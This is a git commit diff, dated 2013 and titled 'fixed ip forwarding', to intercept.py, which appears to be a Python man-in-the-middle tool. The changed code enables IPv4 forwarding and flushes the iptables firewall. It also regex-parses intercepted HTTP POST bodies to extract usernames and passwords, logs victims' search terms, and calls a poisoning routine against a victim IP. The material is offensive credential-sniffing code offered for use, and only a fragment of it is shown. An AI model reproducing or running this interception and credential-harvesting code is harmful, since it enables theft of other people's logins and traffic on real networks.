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fixed ip forwarding

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DanMcInerney 2013-07-06 15:55:59 -06:00
parent da7ba5468b
commit 8b2cfb8c9a
1 changed files with 12 additions and 15 deletions
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27
intercept.py
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@ -135,6 +135,9 @@ def URL(pkt):
headers = pkt
body = ''
#ADD HTML CHECKER THING HERE
header_lines = headers.split(r"\r\n")
for l in header_lines:
searchHost = re.search('[Hh]ost: ', l)
@ -188,7 +191,7 @@ def URL(pkt):
if args.post and post:
if body != '':
print T+'[+] POST:',url,'HTTP POST load:',body+W
print B+'[+] POST:',url,'HTTP POST load:',body+W
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
for x in username:
@ -217,7 +220,7 @@ def URL(pkt):
if searched:
searched = searched.group(3)
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
print B + '[+] Searched %s for:' % host,searched + W
print T + '[+] Searched %s for:' % host,searched + W
host = None
get = None
@ -279,22 +282,17 @@ except:
sys.exit("Could not get MAC addresses")
#Forward packets and flush iptables
#ADD THIS SOON *********************
##if not getoutput('cat /proc/sys/net/ipv4/ip_forward') == '1':
# Msg('IPv4 forwarding disabled. Enabling..')
# tmp = getoutput('sudo sh -c \'echo "1" > /proc/sys/net/ipv4/ip_forward\'')
# if len(tmp) > 0:
# Error('Error enabling IPv4 forwarding.')
# sys.exit(1)
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
f.write('1')
f.close()
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
if not ipfwd.communicate()[0] == '1':
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
f.write('1')
f.close()
print '[+] Enabled IP forwarding'
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
print '[+] Enabled IP forwarding and flushed the firewall\n'
print '[+] Flushed the firewall\n'
def main():
@ -346,6 +344,5 @@ def main():
poison(DNSsrvr, victimIP)
time.sleep(1.5)
if __name__ == "__main__":
main()